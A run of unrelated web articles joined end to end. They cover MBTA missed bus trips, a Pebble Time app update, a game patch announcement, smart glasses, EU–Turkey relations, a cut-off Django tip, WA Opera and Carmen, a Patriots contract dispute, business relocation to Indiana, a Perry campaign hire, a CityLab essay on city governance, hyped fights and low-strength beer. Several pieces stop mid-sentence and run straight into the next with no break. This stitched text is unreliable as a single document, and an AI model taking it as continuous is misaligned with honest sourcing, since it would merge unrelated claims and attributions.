The Herald reported last month that time off for all MBTA workers surged during the snowiest three-week period this winter. More than half of all T workers called in sick or took at least one day off between Jan. 27 and Feb. 16 — a 32 percent increase over the same 21-day period last year.
T attendance records obtained by the Herald showed the largest number of MBTA absences were during blizzards or the day after a major snowstorm, including Feb. 9. That Monday, 17 percent of all MBTA workers didn’t report to work after a weekend storm dumped nearly 2 feet of snow. The T was forced to suspend all rail service the following day.
The new bus records show that despite the more than 7,400 missed bus trips in February, MBTA officials still claimed drivers made more than 95 percent of scheduled trips — just slightly below the average 98 percent monthly success rate the agency claimed last year. Agency records show the number of MBTA bus trips scheduled each month has fluctuated up and down by as much as 24,000 trips.
MBTA spokesman Joe Pesaturo said the fluctuation in scheduled bus trips is due to holidays and the number of weekdays in a given month. He declined the Herald’s request yesterday to interview MBTA Interim General Manager Frank DePaola about the missed bus trips.
The transit agency ignored the Herald’s request earlier this month to review daily reports for missed trips from five MBTA garages — hubs for some of the busiest bus lines, including Route 1, which runs on Massachusetts Avenue.
The MBTA instead released a spreadsheet summary of missed bus trips by the month — without a breakdown by day or route line — only after the Herald opened a public records appeal with the Secretary of State’s Office on Monday.
Pesaturo said agency lawyers would charge the Herald to review and redact thousands of pages before releasing any daily reports detailing the number of missed trips and why.
“I am told the logs include specific information about employees and their reasons for being absent, which is protected under privacy laws,” Pesaturo said.
But a blank MBTA missed trips form provided to the Herald asks garage managers to identify drivers only by badge number and lists generic reasons for missed trips, such as “manpower,” “operator sick” and “traffic” — not specific medical information for named employees, which is protected under a public records law exemption.
Left Behind:
Absent T workers were responsible for the majority of the nearly 40,000 missed bus trips last year that left passengers waiting for rides, a Herald review found. Here are the total missed bus trips by month for all 178 MBTA bus routes:
2014
January 2,483
February 2,545.5
March 2,947.5
April 3,742
May 3,354.5
June 3,638.5
July 3,086.5
August 4,485.5
September 2,791
October 3,564.5
November 3,175.5
December 4,123
Total: 39,937
2015
January 2,452
February 7,417.5
March 4,340
Source: MBTAPebble smartwatch owners with BlackBerry 10 smartphones know that the go-to app to make the most of it is Talk2Watch, specifically the Pro version which has seen a substantial update since it was first released. We even have access to the Pebble app store from within the app, therefore eliminating the need to install the Android Pebble app. When the Pebble Time was announced, many people asked if Talk2Watch would support it. The developer promised nothing but quietly worked away to try to bring support for the updated Pebble Time.
After going through a testing period with a handful of users, today, Talk2Watch Pro releases with support for the Pebble Time, including music control, app store and Timeline pins. Good news for those who have already got their hands on a Pebble Time.
Features of Talk2Watch Pro v30.0.5.6
Original Pebble
Improved App Locker integration
Pebble Time
Phone alerts
Music control
Notifications show up in a fitting color and use their own icons (Twitter/Facebook/...). Twitter notifications can be retweeted or favorited via Android Wear like actions. SMS and emails can be dismissed or replied.
The AppStore is working and able to install firmware updates and new applications. The user can install apps directly from the watch via app fetch. JavaScript apps can be used and configured.
Timeline Pins are available for calendar events and weather forecasts (units can be set via the settings page)
We'll bring a video look at Talk2Watch Pro and the Pebble Time soon, so keep a look out for that if you're interested in seeing it in Action.
Note that only Talk2Watch Pro has been updated to support the Pebble Time. Talk2Watch Pro is available for all BlackBerry 10 smartphones and costs $4.99. As usually if you have already purchased the app, updates are free. The developer is also very active in the forums, so if you have any feedback or suggestions, join in the conversation.
For more information / Download Talk2Watch Pro from BlackBerry WorldPatch 1.7 announcement 01/22/2016 | comments
Hello Heroes,
Today the Might & Magic team is glad to announce to you the upcoming availability of Patch 1.7, to be released in early-February.
In addition to the first Campaign of the Lost Tales of Axeoth, this update will also provide several fixes for the game and especially related to the multiplayer experience with the introduction of automatic port forwarding and various out of sync fixes.
Let’s have a quick look of what is coming next with this new patch! More elements and details to be shared with full release patch log.
1. The Lost Tales of Axeoth: Unity
More info to come!
2. Level-cap Removal
Many of you have been asking for it since the announcement of the game, we are pleased to announce that the level cap in all skirmish map (not available on Campaigns or Scenario maps) will be removed with Patch 1.7.
New maximum level for Heroes is now set to 999!
3. Main Menu reorganisation
With the additional elements populating the main menu, we decided to offer a new disposition to improve visibility and readability of this one. All single and multiplayer modes are now separated and the option button is back on main layout.
4. Online Connectivity Improvements
Moreover, 1.7 will introduce STORM (already mentioned on The team is continually working on out of sync issues and this patch will provide a new batch of fixes for those ones (more details to come with full patch note).Moreover, 1.7 will introduce STORM (already mentioned on https://mmh7.ubi.com/en/blog/post/view/patch-1-6-announcement ), allowing better connectivity between players but also a NAT indicator to make sure your network is properly setup for online experience (port forwarding, router security policy etc.).
5. Additional elementsWhile companies releasing smart glasses are all the rage, the concept is still fairly new, and because of that there’s still some privacy issues that need to be ironed out. Laster Technologies is one of those companies that are creating augmented reality headsets with their new SeeThru glasses, but it seems like they have a bit more of a handle on the privacy side of it.
Now, there’s no special technology behind being more privacy aware. In fact, there’s just a lack of technology. Laster Technologies essentially left a camera out of their device in order to protect the privacy of people around the user.
The French company claims that the device is “wireless augmented reality eyewear”. Basically, the device uses the processor of user’s smartphone which it connects to via Bluetooth. It then is able to take calls, listen to music, display e-mails, and so on. Laster also is reportedly developing a number of apps for different situations.
The device also allows for hand-free navigation and apps, allowing users to be able to use the device while their driving, or just when they can’t use their hands. For example, there is a sailing app that displays things like boat speed and wind speed and direction.
Another app would be useful for a pilot, as the device allows you to monitor things like airplane instrumentation. It also allows for you to have a head-up display with augmented reality capabilities.
As mentioned before, you can use the device for in-car navigation, but that extends to your car, motorcycle, skateboard, or even while you’re walking. If the navigation information is available on the Internet, you can view it. You can also browse the Internet, play music and games, and even read e-books.
According to Laster, the image quality of the device is superior to any other augmented reality device on the market, including Google Glass, which it claims to have beat with a vision field that is 2-3 times larger. The resolution of the device is 800 x 600 pixels, with an aspect ratio of either 4:3 or 16:9. Because of the fact that much of the processing power is done through the smartphone, the device also has long battery life, and Laster Technologies claims that it lasts between 6 and 8 hours on a single charge.
The device also features the gyroscope sensors, accelerometers and compasses. Furthermore, it has GPS tracking and built-in audio. Â While it may not be the most hyped device on the market, it’s definitely one that you should keep an eye (pun intended) on.
Source:Â Laster KickstarterBRUSSELS (Reuters) - The European Union reminded Turkey on Monday that it is bound by its commitments under the European Convention on Human Rights and as a member of the Council of Europe not to reintroduce the death penalty.
“No country can become an EU member state if it introduces the death penalty,” EU foreign policy chief Federica Mogherini told reporters when asked about suggestions that EU accession candidate Turkey might execute leaders of the failed coup.
She also noted that Turkey was a member of the Council of Europe and a signatory of the European Convention on Human Rights, which bans capital punishment across the continent:
“Turkey is an important part of the Council of Europe and is bound by the European Convention on Human Rights, which is very clear on the death penalty,” she said.Accessing hidden prefetched fields in Django
Rudi Theunissen Blocked Unblock Follow Following Nov 30, 2015
Note: This relates to Django 1.7
I recently came across an interesting case where a relatively simple JSON endpoint was making over 100 queries, which was about 10x more than expected. The obvious solution was to prefetch the related fields, so that the serializer doesn’t have to fetch each field individually. However, this did not have a significant effect; serializing 10 models still created ~100 queries.
What happens here is that the RelatedManager (related_set) is not aware of the fields we prefetched earlier, which is why it had no effect. We need to find a way to somehow use the prefetched related fields in the serializer.
We are passing each instance to the serializer separately, which is okay. The problem to solve is how we can access the prefetched related fields. We can do that using an internal property called _prefetched_objects_cache:WA Opera butts out Carmen over smoking themes after securing Healthway sponsorship
Updated
The West Australian Opera has announced it will not program the opera Carmen in the next two years, after it secured $400,000 in sponsorship from Healthway, because the story features smoking.
The 1875 work by Georges Bizet is one of the world's most popular operas and the heroine, Carmen, works in a Spanish cigarette factory.
Carolyn Chard, General Manager of the WA Opera, said the company made the decision not to program the opera after it secured the two-year deal with Healthway, the state government body that sponsors arts and community organisations to promote health messages.
"Carmen is an opera that is actually set in a tobacco factory, so that does present some difficulties if you're promoting non-smoking and healthy work environments," Ms Chard told 720 ABC Perth.
"I think we were very respectful of the partnership and forward-thinking about recognising it would be in direct conflict with the aims of the Heathway support.
"I think sponsorship is so vitally important to arts companies and this is significant support and you need to deliver benefits," she said.
Decision is not censorship
Chair of Healthway Rosanna Capolingua said the board had not asked the company not to program the work but it is delighted they have taken the decision.
"It was their choice and I think it's great that have chosen not to run Carmen and tell everyone about it," Dr Capolingua told Geoff Hutchison.
"They have used the fact that they are not running it to make a healthy stand, and kudos to them for that."
Dr Capolingua said Healthway did not censor art, but said smoking was glamorised when it featured in entertainment.
"As far as Heathway is concerned, it is taxpayers' dollars and we have to use it to protect and promote the health of Western Australians."
The decision drew a mixed response from the 720 ABC Perth listeners.
Melanie: Would the state government cut funding to a performance of Hamlet because it shows a mentally ill person in an unfavourable light? Or cut funding to MacBeth because of the homicides?
Jan: Well done WA opera! You've never had so much publicity!
Micky: Carmen dies in tobacco factory. Great health message.
David: The decision by the WA Opera is bizarre and extraordinary from an arts organisation where freedom of artistic expression is paramount. It is a deeply concerning day for our arts community when sponsors can dictate performance policy in such a way. This decision sets a very unfortunate and dangerous precedent.
Carmen 'one of the great operas'
ABC Classic FM Presenter Philip Sametz said it was a disappointing decision.
"The thing that would sadden me is that if you were an opera lover and you wanted to take someone to see an opera, the very best introduction might be Carmen," he told 720 ABC Perth.
"The health of a society is important too and that's one of the things that arts and culture do for any community."
Mr Sametz said many operas featured inappropriate, immoral and violent behaviour.
"In Wagner's ring cycle, Siegmund falls in love with his sister. We're not talking about an art form that takes necessarily the high moral ground.
"I would like to think that the sponsor and the company could come to some sort of reconciliation.
"Carmen is a masterpiece and not a piece of art that I think should be censored or removed."
Carolyn Chard said the company intended to program Carmen at some time in the next five years after the sponsorship from Healthway ended.
"Carmen is one of the mainstays of the canon of opera repertoire. We perform it very regularly, roughly every five years, and it is a work that we will certainly do again."
Topics: smoking, opera-and-musical-theatre, perth-6000
First postedFOXBOROUGH — Even for an organization as tightlipped as the Patriots, there has been precious little information regarding Brian Waters.
In the offseason, coach Bill Belichick said Waters was excused from taking part in organized team activities and minicamp for personal reasons, and the same was said at the start of training camp.
Since then? No one has said much, and Waters hasn’t shown up at Gillette Stadium. Two clues this week that things probably aren’t rosy between the team and the 35-year-old guard: His number (54) was given to rookie linebacker Dont’a Hightower, then on Friday, Waters’s nameplate was removed from what had been his locker.
Here is what the Globe knows about the situation, culled from several NFL sources:
■ Early in the preseason, the Patriots and Waters agreed to a restructuring of the second and final year of his contract, which would cut his base salary from $1.4 million to $925,000, the minimum for a veteran with 10 or more accrued NFL seasons. But Waters would receive per-game bonuses for being on the 46-man game-day roster, which would allow him to reach $1.4 million, if not more. At the time, Waters was fine with the agreement.
■ The Patriots were under the impression that Waters would show up before the start of the season. They may have hardened their stance now that he has not, and may have dropped the per-game bonus from any proposed restructuring.
■ This staredown did not start over money. Waters’s reason for staying away was personal: He is married with five children, and his family did not come to Massachusetts with him last year, remaining in his native Texas. When Waters signed with the Patriots, he and Belichick had an agreement that Waters did not have to come to camp, so he could spend as much time at home as possible. The intensely private Waters has had trouble leaving his family every year, even when he played closer to them in Kansas City.
■ Waters would prefer to play closer to home. If that is not possible, he would like to get a raise to return to New England for at least one more season.
■ The Patriots cannot cut Waters’s base salary without him agreeing to it, and if they do reduce it through renegotiation, it would not be subject to the veteran’s minimum salary benefit clause in the collective bargaining agreement. It would have to expire or be terminated, then a new deal signed, to get that benefit.
■ The Patriots are in a tough position. They can’t reduce Waters’s salary unless he agrees to it. However, because Waters has not reported, he has been accumulating $30,000 in fines for each day missed. That is automatic. If and when he shows up, Waters would have to negotiate with the team for a reduction or waiving of all fines. That could be the sticking point.
■ If Waters reports, the Patriots have to pay him his $1.4 million (minus any fines). The team will not want to cut him, because he would likely sign with the Texans, near his home. The Texans have a huge need for a veteran right guard, and there’s no way the Patriots are going to let Waters walk to one of their biggest competitors in the AFC. The Patriots could trade Waters, but he likely wouldn’t report if it was to a team far from his home.
Greg A. Bedard can be reached at gbedard@globe.com. Follow him on Twitter @GregABedard. Shalise Manza Young can be reached at syoung@globe.com. Follow her on Twitter @shalisemyoung.
© Copyright 2012 Globe Newspaper Company.Fan theories can be fun. Fan theories can make a lot of sense. Some fan theories, like the Joker is Jason Todd theory, reach ridiculous levels of stretching |
tax rate in California is 8.84 percent.
Governor Daniels likes that comparison. "If I were being sarcastic, I'd say thank you. For reasons best known to them [California], they are so actively hostile to business. And it's reflected, business people tell us, not just in ever-higher taxes, but in punitive and hostile attitudes toward business."
OUT OF CALIFORNIA
"That's quite accurate," said Joseph Vranich, reflecting on the governor's quote after I read it to him. Vranich is a consultant in Irvine, Calif. who helps companies find places to relocate. "The top three reasons why companies leave California are taxes, the costs of regulatory compliance, and a hostile attitude."
According to Vranich's research, with his company Spectrum Location Solutions, at least 254 companies moved all or part of their businesses out of California in 2011. He says they're not being pulled to other locations, they're being pushed out.
"It always starts with a push. I've never had anyone call me and say, hey you know what, we're pretty happy here in California, but is there a place that's even a better Shangri-La for us?' I've never heard that once."
But after that push, are low taxes enough of a draw to South Bend or Bloomington?
HOOSIER STATE?
According to Indiana's Economic Development Department, eight California companies have relocated to Indiana in the past three years. Those companies employ 1517 people in Indiana.
"In a state like Indiana, which has nearly 3 million jobs, that doesn't really amount to very much," said Morton Marcus, a retired economics professor from Indiana University in Bloomington. He also questions how many Indiana companies are opening offices in California.
Marcus said lower taxes rank toward the bottom of the list for a company considering relocation. "The most important issue they have is how do they get their product to market and whether or not they have the workforce they need. And Indiana's main problem is that it doesn't have the kind of workforce that even our existing firms feel that they need."
Joseph Vanich said it's not uncommon for companies to actually chose locations with higher taxes. He said companies evaluate a set of factors when considering a move. "It includes quality of air services, to, if it's a family-owned company, the climate preferences of the wife. You'd be amazed how many times I hear that."
The life sciences company HYCOR Biomedical re-located its corporate headquarters, and seven jobs, from Garden Grove, Calif. to Indianapolis last year.
"I can't say I felt like I was pushed out of California," said HYCOR CEO Dick Aderman. "There are certain regulatory hurdles and things that make it probably a little difficult. For me, it was, the costs are very high to operate out there."Private email sent in 2011 by Jamie Johnson, Perry’s latest campaign hire, was leaked ahead of 2012 Iowa caucus when he was part of Rick Santorum’s staff
Rick Perry’s latest hire as a top campaign staffer was embroiled in controversy in 2012 over a private email which suggested children’s lives would be harmed if the nation had a female president, according to the Des Moines Register.
Jamie Johnson is a longtime Iowa Republican activist who was hired by former Texas governor and likely 2016 presidential candidate Rick Perry on Wednesday to organize conservatives in Iowa and other early primary states. Johnson is a member of the party’s state central committee and was a staffer for Rick Santorum’s caucus-winning campaign in 2012.
The controversial email, which Johnson sent to a friend in the summer of 2011 and which was then leaked to the Des Moines Register a few months later, included the question, the paper reported: “Is it God’s highest desire, that is, his biblically expressed will... to have a woman rule the institutions of the family, the church, and the state?”
At the time his email was released, Peter Waldron, a Michelle Bachmann operative who later wrote a tell-all about the former Minnesota congresswoman’s fall from grace, claimed that it was part of “a sexist strategy” employed by Santorum’s campaign to win over social conservatives. Waldron said Johnson and other Iowa evangelicals were promoting “the idea that a female cannot be an elected official or a commander-in-chief”.
Santorum eventually finished first in the Iowa caucuses with just under 25% of the vote, while Bachmann ended up in sixth place on caucus night. After Iowa, Johnson did not work for Santorum in any other primary states.
In an interview with the Guardian, Johnson emphasized both that it was a private communication and that the email in which he wrote those words was taken out of context.
He said the email was “sent to one person, speaking as a pastor, to someone who is a personal friend of mine”. Johnson emphasized this was a “private message” and not intended to be shared publicly.
He contrasted this with the tweets posted by Liz Mair, a former digital strategist for Wisconsin governor and presidential hopeful Scott Walker, prior to her brief employment with the campaign that criticized ethanol subsidies and Iowa’s outsized role in the presidential nominating process. Johnson said those tweets, which quickly prompted Mair’s resignation, were intended to be public and she knew that. In contrast, he argued that his remarks came in private correspondence in his role as a pastor and was about “theological nuances”.
Johnson also made clear that he is comfortable with women in office, and he told the Guardian: “Golda Meir and Margaret Thatcher have proven for a long time now that women can do anything that men can do and do it well.”
However, in light of Mair’s abrupt resignation from Walker’s campaign this week, Johnson’s sudden prominence raises questions about whether all remarks by political staffers are fair game.
One well-connected female GOP operative who declined to be identified for attribution told the Guardian that Johnson’s comments might not necessarily matter in the long term and could be perceived as “inside baseball”. However, she did note that, for operatives, “everything about you is fair game now”. The GOP strategist went on to point out that while she “vehemently disagrees” with Johnson’s email, his personal opinions don’t necessarily mean he’s the wrong person to do the job on that campaign.
Dave Carney, a top Republican political strategist who worked for Perry in 2012, said a hire like Johnson’s “really depends on the tolerance level that a campaign has for distractions”. He went on to note: “The vetting process for serious campaigns, particularly at this point, is fast and furious.” Further, he said the real question for a primary campaign is not how something looks in a general election, “but the next election” – in particular, whether “what an employee or supporter have may have said is offensive to your base and niche”.
“Americans are looking for an optimistic vision for the future and will judge candidates based on their records, not their genders,” said Lucy Nashed, a spokeswoman for Perry’s political action committeeMayors Marion Barry and Ed Koch in 1985. They knew something today's city leaders don't. Ken Heinen/AP
In an age of growing alienation from civic institutions, the technocrats running many American cities don’t understand what old-style political machines once delivered.
We live in an age of pervasive alienation from public institutions—and subsequent decline of political authority. The public wants simple answers to complex problems. Take the loss of America’s manufacturing jobs. The culprit is not easy to apprehend and there is no one neat and tidy explanation. But the perception remains that jobs are hemorrhaging while a technocratic global elite remains clueless to the carnage. This alienation is also at work in our cities. Governing technocrats need to recalibrate and embrace an agenda more squarely focused on helping communities left behind by gentrification. For decades, cities have been busy conducting and presenting themselves more professionally. The old ways of machine-run cities, which we can call Local Authority 1.0, have been cast aside for Technocracy 2.0. Exit patronage-based hiring, enter LinkedIn searches; exit neighborhood-based earmarks, enter performance-based budgeting. Mayors such as New York City’s Michael Bloomberg, Indianapolis’ Stephen Goldsmith, and yours truly are all early examples of mayoralties that emphasized open data and a dispassionate leadership style. At the national level, Barack Obama embodied this cool, unemotional, no-drama style. Many major American cities have embraced and entrenched these values, and have even created a C-suite position—Chief Data Officers (CDOs). The aim here? Better management—of organizations, people, technology, and process—will lead to better outcomes for residents.
In many ways, Technocracy 2.0 has delivered. Most visibly in transportation: Open data standards make it easier to access transit information and lead smart city initiatives to reduce traffic congestion through demand-pricing for parking in San Francisco or D.C. or timed street lights in Pittsburgh. Certainly, there’s more financial responsibility. And lest we forget, more cost-effective service delivery helps people who need it most, in education, human services, and public safety. Back when political machines ran cities, voter turnout in mayoral elections was higher, and people believed real and tangible benefits were forthcoming. But the technocrats have failed to erase the widespread belief in our communities that city leaders are indifferent to social inequality. Indeed, this style of data-driven governance is seen as driving gentrification as it seeks to make cities more appealing to Millennials. It’s their commutes that are getting easier, and their communities becoming more livable. Of course, those new young residents pay the taxes that add up to better services for poor and working-class communities. But that’s not how it’s observed. Go to a church or community meeting and you will hear complaints about how much worse inequality has gotten in this era of data-driven government. The residents left behind, who were there from the beginning, are seeing their rents or property taxes going up and their incomes stagnate. Where, they ask, are the data-driven solutions for jobs and affordable housing? Means and data be damned. They want results. Ask old-timers why they resent bike lanes and you begin to see the picture.
Consider now the golden age of city political machines a century ago. There was plenty not to like under these regimes, from buying votes and self-enrichment to punishing political heretics. But voter turnout in mayoral elections was higher, and people believed real and tangible benefits were forthcoming. The machines gave poor people jobs and delivered some of the first welfare supports before the New Deal. They engaged poor ethnic residents in politics. The Irish faced brutal treatment and oppression in New York City in the late 19th Century. Seen through these eyes, Tammany Hall stood up for them and took care of them. Husband died in a tragic factory accident? Go visit the local alderman and he’ll make sure you won’t be left homeless (provided you vote for him). Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... The belief on the street today? Take a fall and you’re on your own. Many residents find more modern systems of patronage a no less effective way of doing business. Say what you want about Marion Barry, but he was a brilliant man who built a massive patronage system and following in Washington, D.C. He gave African Americans hope when the majority black city was fighting the city’s white overlords in Congress. And he could deliver major economic projects, and most importantly, a fairer share of jobs. Despite fiscal mismanagement and abysmal service delivery, he remains to this day extremely popular among poor and working-class African Americans. These communities feel alienated, lost, and overwhelmed in modern D.C. To many neighborhood activists, modern city governments seem OK with another form of corruption—pandering to business. Cities and states are happy to dole out tax or regulatory breaks as an economic strategy, even when businesses are under no obligation to make any jobs available. Critics cite studies that show that these deals do nothing more than give local pols a nice photo op. Corporate handouts are good, but handouts to needy folks are forbidden. Is this fair, they ask? Citizens are more disillusioned than ever with their local leaders. Fed up, they want leaders who will do what it takes to bring back jobs—the old-school, 1.0 definition of livability. Cities will not throw away all that they’ve gained through this technocracy; we can’t return to the machine era of unfettered discretion in hiring and contracts exercised behind closed doors. That said, we technocrats have to reframe our message and rethink our priorities. We have to talk about more than clean and efficient government. Higher atop the agenda should be an economically sustainable minimum wage, cost-effective ways to maintain and expand affordable housing, and better job training and placement. Let’s deploy our analytical horsepower in the service of long-time residents, connecting the data dots to jobs and improving the lot of still-struggling people. We need a Political Authority 3.0 at the local level—with the brain of the technocrat and the heart of the old ward heeler.1 of 11
Jeff Bottari/Zuffa LLC/Getty Images
Muhammad Ali vs. Antonio Inoki (June 26, 1976)
The mixed-rules bout between Inoki and Ali was hyped worldwide at the time, but its failure to live up to expectations has seen it fade over time. The pre-fight press conference with the two combatants saw Ali call Inoki "The Pelican" because of his pronounced chin and Inoki tell Ali to take care of his fist if it did hit his chin.
WWE Hall of Famer Freddie Blassie was on hand to lend his promotional muscle. Blassie shouted, with Ali in tow, "Funeral for Inoki! Extra! Extra! Read all about it!" Tens of thousands would go out to see the match on closed-circuit feeds, but fans did not get the donnybrook they were hoping for.
The fight laid the groundwork for MMA as we know it today, and MMA journalist Josh Gross detailed the fight and hype in the book Ali vs. Inoki. The fight's legacy is less in the pre-fight hype and more in its influence decades later.
Mike Tyson vs. Michael Spinks (June 27, 1988)
"Once and for All" was the tagline for the bout in 1988. Both heavyweights had titles to their name and were undefeated. It harkened back to the days of Ali vs. Frazier. Eddie Futch, Spinks' trainer, was also the trainer for Frazier.
Ninety-one seconds was all Tyson needed to become the undisputed heavyweight king. He plastered Spinks and continued a streak that set fear in the hearts of his opponents and the boxing world.
Mike Tyson vs. Lennox Lewis (June 8, 2002)
The build to the fight started in 2000 after Tyson knocked out Lou Savarese in 38 seconds. Jim Gray got the post-fight interview with Tyson in the ring where Tyson went on his now-infamous tirade directed at Lewis that closed with his saying: "My style is impetuous, my defense is impregnable, and I'm just ferocious. I want your heart! I want to eat his children! Praise be to Allah!"
It would be nearly two years before they finally met. Any Tyson fight was bound to be a spectacle, but his antics at the pre-fight press conference (caution: NSFW language) put the fight on another level.
The fight was already highly anticipated, but the outburst made the media rounds until the bell sounded for the first round. Sometimes it's random moments that put the hype train on an accelerated track, and Tyson had a knack for doing just that.
UFC 202: McGregor vs. Diaz II (August 20, 2016)
The first fight at UFC 196 came together on short notice after then-lightweight champion Rafael dos Anjos pulled out due to injury. The event still managed to grab a lot of attention in a short amount of time due to a short-notice press conference (h/t MMAFighting.com). Nate Diaz's victory over McGregor made a rematch one of the most anticipated in MMA history.
The lead-up and performance of the event continued to show that McGregor was the bell cow of the UFC. Diaz and McGregor know how to talk trash, which made their pre-fight press events always worth watching. The interest behind this rivalry makes it one of MMA's most hyped.
UFC 205: McGregor vs. Alvarez (November 12, 2016)
UFC 205 was the first event for the UFC at Madison Square Garden. After New York legalized MMA, the UFC moved to put together a supercard with three title fights on the bill. None earned more press than the lightweight title fight between champion Eddie Alvarez and McGregor.
McGregor was seeking to become the first fighter in UFC to hold two belts at the same time. And he did.
It was a good event with history on the line.Please turn on JavaScript. Media requires JavaScript to play. Advertisement By Andy McFarlane
BBC News
Beer activists are calling on the government to scrap tax on brews made with just 2.8% alcohol. But would drinkers sup a weaker pint for the sake of 60p? It has the same rich brown body and frothy head as most of the hundreds of beers on tap at the Great British Beer Festival. Swilling back a mouthful may well prompt the same satisfying smack of the lips and hoppy aftertaste. But drinking four or five of Welton's Pride 'n' Joy will not have quite the same inebriating effect as Oakham brewery's formidable Attilla, at 7.5% alcohol, or even Thwaites' Wainwright, at a fairly standard 4.1%. Sussex-brewed Pride 'n' Joy is being showcased by the Campaign for Real Ale (Camra) at the festival, in London's Earl's Court in a bid to prove that weaker beer can be tasty. And, at 2.8% alcohol, it is a little over half the strength of many premium beers. Lower strength beers have rated highly among the hundreds at the festival With British palates grown accustomed to high-strength continental lagers, many brewers also upped their ale's alcohol content as people shunned traditional milds and weaker "boys bitters". It left mid-strength beers difficult to come by, with a resultant hangover for the government in the form of drink-fuelled violence and rising rates of alcohol-related illness. However, Camra says one remedy may be easily at hand, with EU rules allowing member states to apply reduced excise rates to beers not exceeding 2.8%. It claims completely scrapping tax on these lower alcohol brews would slash the price of a pint by up to 60p, although the Treasury does not recognise this figure. In a survey, 55% of respondents told Camra they would try a more timid tipple. 'People's pint' Its chief executive, Mike Benner, says that with a recession hitting people's pockets and pubs closing "at a rate of seven a day", it is the perfect time to introduce a duty-free "People's Pint". "This is an opportunity to make it easier for people to drink responsibly whilst also supporting the tens of thousands of jobs under threat as a result of falling beer sales and pub closures," he says. "It's quite common in pubs to hear people trying to control consumption by asking for shandy. This would give people the option of a tasty bitter instead." Mr Benner will be pressing Chancellor Alistair Darling to include the measure in November's pre-Budget report and the Treasury says it will engage with the drinks industry on alcohol duty. In the past a lot of brewers have made poor quality lower strength beers that taste like dishwater
Ray Welton, independent brewer Of course, it's not necessarily a solution that would keep all sides happy. "Alcohol duties are an important contributor to the public finances," a government spokesman cautions. Camra's case has the backing of at least one influential voice which warns about Britain's rising alcohol consumption - Alcohol Concern "Having more lower strength drinks on the market allows people to enjoy a night out while making it easier to stay within safe drinking guidelines," says the charity's chief executive, Don Shenker. But this is not the first time brewers have tried sipping from a more moderate chalice. Concerns over binge drinking have led the alcohol industry to promote responsible intake. Brewers of premium strength beers, such as Beck's and Stella Artois, are now touting 4% varieties. And Carling could justifiably claim to be ahead of Camra's call, having launched its C2 brand - at 2% - in 2006. Guinness too has been trialling its 2.8% "Mid-Strength" in Ireland. But if they were hoping for a mass conversion, they so far have been disappointed, says industry analyst Graham Page. These tamer brews have "not done anything spectacular," says Mr Page, of market research company Nielsen. 'Thinner flavour' "If you're driving or have work to do after lunch then it works but part of the difficulty for brands of 2 to 3% is that, comparatively, the flavour characteristics are thinner." "I've been in the industry 40 years and no-one has found a solution to the low or mid-strength alcohol opportunity." Many micro-breweries already enjoy significant tax breaks and so may not, in reality, be able to cut as much as 60p from a pint, he adds. Even if some can - and the public are ready to respond to price incentives - brewer Ray Welton admits mid-strength beer has always been "very difficult to sell". It was frustration at "poor quality, lower strength beers that tasted like dishwater" that prompted him to produce Pride 'n' Joy, two years after setting up his Horsham-based operation in 1995. Finding lower strength beer has become difficult Mr Welton believes reducing duty would encourage more brewers to follow suit - though he admits it is "the hardest beer to brew". Using less sugar and malt to reduce the alcohol content also means using fewer hops to balance the taste - but it's these ingredients that give beer its flavour. The end product also gives publicans a problem, in that a lower alcohol content reduces a beer's lifespan. Even then, a landlord must work hard to convince his regulars to give it a go. Just ask Simon Johnson, who runs the White Horse in Maplehurst, Sussex. "I might have six beers on and they'll look at the low alcohol one and say 'it looks a bit thin'," he says. "I have to give them a sample and once they taste it, they'll buy it." Ratings on the festival's website seem to bear out this view, with visitors awarding four out of five to Belhaven 60/-, an East Lothian light beer at 2.9%, and several 3.6% products such as Wells Eagle IPA and Hobson's Twisted Spire. So how would it go down with punters at the Earl's Court festival? Would they too be prepared to stomach a lower alcohol pint? Tom Cosens, 35, of Reigate in Surrey, thought Pride 'n' Joy "quite refreshing". "I wouldn't immediately think that's a weak bitter. It's still quite flavoursome and if it was 60p cheaper I would definitely drink it." Richard Sanders, 59, from Loughborough, Leicestershire, agreed. "For a low gravity beer, it has quite a lot of character. On a hot summer's day it would be lovely." So, brewing good low alcohol beers seems possible. Whether the market is large enough to encourage mass production - and prompt a change in the nation's drinking habits - remains to be seen. Below is a selection of your comments. The reason that HMRC doesn't recognise the 60p figure is that it's highly unrealistic. Beer gets taxed by the % of alcohol in it, with the rate working out at about 9.5 pence per percentage point of alcohol in a pint. Therefore a pint would need to have been over 6% alcohol for punters to save 60 pence! A saving of 40p (UK strength) or 50p (export strength) seems more realistic.
Will H, London, UK Once again a sizeable proportion of the population has lost the plot in displaying ignorance or incomprehension of perfectly good solutions from the past. There is a myriad of very flavoursome low to mid-strength beers produced by independent breweries who have not taken the easy route of upping the ABV%. This will be lost on those whose idea of social drinking requires an equally high sugar content, or decanting their night's consumption into the gutter, or the taxi on the way home.
J Fairfield, Derby Why can't all alcohol be taxed at a flat rate based on the quantity of ethanol (the stuff that makes you drunk) in it? That way, the tax on a pint of 3% will be half that of 6%. Thus the tax on a litre of 40% spirit will be 8 times that of a litre of 5% beer.
Alister Troup, Aberdeen Yes I would certainly, being of Asian descent I have a low tolerance for alcohol. The trend in recent years has been for beer and wine strength to increase, and also now many bars sell a "small" glass of wine which is 175ml. Now most premium beer is about 5% which might be OK for most people but for me it is too strong for more than a couple of pints. Having a reduced strength beer would be useful as I would be more likely to be able to have a couple more drinks than currently without getting in a horrible state. However this would come with the caveat that it should be good beer, rather then just being weak. If it is bad beer it won't get bought anyway. But I am all for having reduced alcohol drinks.
Seb, London If it's good beer, I'll drink it (and delight in the price). Like many people, I drink for flavour and not for alcohol
Nic, London As a keen sportsman, I train on a regular basis. Due to this I often opt for a weaker beer so that I can still go out with my friends on a night out, minus a hangover the following day. This however does become more difficult as some establishments don't even sell bitter (which usually has the lowest percentage) and because of this I will transfer onto soft drinks. I am sure that this is also the case for a lot of other sports people out there, so i think that the introduction of lower percentage beers is a great idea. And if the cost is even less, then that's just an added bonus.
Sam Brennan, Peel, Isle of Man How about a new drink size of 3/4 pint, for 90p cheaper? A half is too small but a full pint's often too big. Most people now drink lager, and who cares about the taste of lager so long as it's not metallic from bad storage? Might as well make Stella et al 0% alcohol and avoid all those God-awful streets of drunkenness at weekends.
Robert, Peterborough I have long said that beers should be costed on there ABV. To an extent they are but an ale at 3.6% should cost a lot less than a beer at the higher end of say 5.0%. The government certainly wont see dropping tax on lower ABV drinks as a good idea as they see it as revenue lost, more than likely the brewer will see it as the same. Sadly until the days of profit ruling have gone, binge drinking is here to stay. Cheers.
